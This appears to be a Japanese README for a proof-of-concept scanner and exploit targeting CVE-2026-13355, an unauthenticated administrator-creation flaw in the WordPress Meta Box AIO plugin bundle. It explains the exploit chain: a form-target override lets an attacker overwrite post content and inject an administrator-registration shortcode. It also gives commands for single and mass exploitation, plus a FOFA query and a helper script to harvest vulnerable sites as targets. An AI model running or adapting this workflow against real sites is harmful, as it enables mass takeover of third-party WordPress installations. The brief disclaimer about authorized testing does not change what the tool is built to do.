CVE-2026-13355 — Meta Box AIO 未認証管理者権限昇格

WordPressバンドル Meta Box AIO（および関連する MB Frontend Submission / MB User Profile 拡張機能）における CVE-2026-13355 のPython 3による概念実証 スキャナーおよびエクスプロイト。

概要

2つのバンドル拡張機能における連鎖的な脆弱性により、未認証での 管理者 アカウント作成が可能になります：

1. MB Frontend Submission (mbfs) — rwmb_frontend_field_object_id が認証なしでフォームのターゲットを上書きします；Form::process() は user_can_edit() を省略しているため、攻撃者は wp_update_post() を実行し、任意の投稿/ページの post_content を上書きできます。
2. MB User Profile (mbup) — 注入された [mb_user_profile_register role="administrator" auto_login="true"] ショートコード属性が、ロール検証なしで信頼されます。

重要: エクスプロイトチェーンには公開された mbfs（フロントエンド送信）フォームが必要であり、ログイン専用の mbup フォームでは動作しません。多くのFOFAヒットは mbup のログイン/登録UIのみを公開しており、これらは plugin_mbup_only としてフラグが立てられ、このチェーンでは悪用できません。

要件

• Python 3.8+
• pip install -r requirements.txt

クイックスタート

pip install -r requirements.txt

# Single target — check (live terminal flow by default)
python poc.py -u https://target.example --mode check

# Mass check (one line per target unless --quiet)
python poc.py --list targets.example.txt --mode check --threads 20

# Single target — exploit (needs mbfs form URL + post ID)
python poc.py -u https://target.example --mode exploit \
  --form-url /contact/ --object-id 12 --verify

# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify

FOFA → ターゲットリスト

クエリ例：

body="/wp-content/plugins/meta-box-aio/"

FOFA CSVエクスポートを正規化：

python fofa_to_list.py -i fofa_export.csv
# writes list.txt + normalized CSV (local only, gitignored)
python poc.py --list list.txt --mode check --threads 20

CLIオプション

出力ファイル

エクスプロイト実行時には --vuln-list exploited.txt を使用して、hits.txt 内のチェックヒットが上書きされないようにしてください。

チェックの status 値

エクスプロイトに関する注意

• ポイズン（汚染）ステップでは、mbfs フォームを通じて ?rwmb_frontend_field_object_id=<id> を付けて post_content をPOSTします。
• 成功するには、注入されたショートコードが汚染されたページで レンダリング される必要があります（strip/KSESなし、プラグイン未修正、正しいフォームタイプ）。
• お問い合わせ/ニュースレターの mbfs フォームには実際の post_content フィールドがないことが多く、実際には上書きが失敗する可能性があります。
• POST時のHTTP 403 は通常、WAF/ホストによるブロックを示します。

リポジトリ構成

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

ローカルスキャンリストと実行アーティファクト（list.txt、fofa*.csv、*.jsonl、hits*.txt など）は .gitignore に含まれており、コミットしないでください。

参考資料

• NVD — CVE-2026-13355
• Wordfence advisory
• Meta Box AIO changelog

法的注意

許可されたセキュリティテストおよび教育 のみを目的としています。適用される法律およびプログラム規則の遵守はあなたの責任です。